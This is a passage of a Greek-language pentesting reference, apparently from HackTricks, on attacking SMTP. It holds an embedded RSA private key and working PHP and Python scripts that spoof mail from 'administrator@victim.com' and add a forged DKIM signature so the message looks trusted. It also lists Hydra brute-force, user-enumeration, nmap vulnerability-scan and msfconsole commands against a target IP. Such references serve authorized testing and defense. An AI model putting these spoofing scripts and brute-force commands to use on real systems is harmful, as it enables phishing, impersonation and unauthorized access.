ΣΗΜΕΙΩΣΗ: Αυτό είναι απλά ένα πρόχειρο διορθωτικό μέτρο για γρήγορους ελέγχους σε περιπτώσεις όπου για κάποιο λόγο το ιδιωτικό κλειδί openssl δεν μπορεί να αναλυθεί από το dkim.

-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----

{% endhint %}

Ή μπορείτε να το κάνετε χειροκίνητα:

{% tabs %} {% tab title="PHP" %}

# Αυτό θα στείλει ένα μη υπογεγραμμένο μήνυμα
mail("your_email@gmail.com", "Δοκιμαστικό Θέμα!", "γεια! Αυτό είναι ένα τεστ", "Από: administrator@victim.com");

{% endtab %}

{% tab title="Python" %}

# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py

import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase

# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
<html>
<body>
<h3>This is a test, not a scam</h3>
<br />
</body>
</html>
"""
sender_domain=sender.split("@")[1]

# Prepare postfix
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")

# Generate DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
dkim_private_key = fh.read()

# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()

# Sign email with dkim
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()

# Use local postfix relay to send email
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)

{% endtab %} {% endtabs %}

Περισσότερες πληροφορίες

Βρείτε περισσότερες πληροφορίες σχετικά με αυτές τις προστασίες στο https://seanthegeek.net/459/demystifying-dmarc/

Άλλες ένδειξης απάτης (phishing)

  • Ηλικία του τομέα
  • Σύνδεσμοι που αναφέρονται σε διευθύνσεις IP
  • Τεχνικές παραποίησης συνδέσμων
  • Υποψία (ασυνήθιστα) συνημμένα
  • Κατεστραμμένο περιεχόμενο email
  • Χρήση τιμών που διαφέρουν από αυτές των κεφαλίδων του email
  • Υπαρξη ενός έγκυρου και αξιόπιστου πιστοποιητικού SSL
  • Υποβολή της σελίδας σε ιστότοπους φιλτραρίσματος περιεχομένου ιστού

Εξαγωγή μέσω SMTP

Εάν μπορείτε να στείλετε δεδομένα μέσω SMTP διαβάστε αυτό.

Αρχείο ρυθμίσεων

Postfix

Συνήθως, εάν είναι εγκατεστημένο, στο /etc/postfix/master.cf περιέχονται σενάρια για εκτέλεση όταν για παράδειγμα ένα νέο email λαμβάνεται από έναν χρήστη. Για παράδειγμα, η γραμμή flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient} σημαίνει ότι το /etc/postfix/filtering θα εκτελεστεί εάν ένα νέο email ληφθεί από τον χρήστη mark.

Άλλα αρχεία ρυθμίσεων:

sendmail.cf
submit.cf

Αναφορές

Αυτόματες Εντολές HackTricks

Protocol_Name: SMTP    #Protocol Abbreviation if there is one.
Port_Number:  25,465,587     #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.

https://book.hacktricks.xyz/pentesting/pentesting-smtp

Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25

Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}

Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}

Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587

Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}

Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V

Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'

Άμεσα διαθέσιμη εγκατάσταση για αξιολόγηση ευπαθειών και δοκιμές διείσδυσης. Εκτελέστε μια πλήρη δοκιμή διείσδυσης από οπουδήποτε με 20+ εργαλεία και χαρακτηριστικά που καλύπτουν από την αναγνώριση έως την αναφορά. Δεν αντικαθιστούμε τους δοκιμαστές διείσδυσης - αναπτύσσουμε προσαρμοσμένα εργαλεία, ανίχνευση και εκμετάλλευση ενοτήτων για να τους δώσουμε πίσω χρόνο για να εξερευνήσουν πιο βαθιά, να αποκτήσουν πρόσβαση σε συστήματα και να διασκεδάσουν.

{% embed url="https://pentest-tools.com/" %}

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks: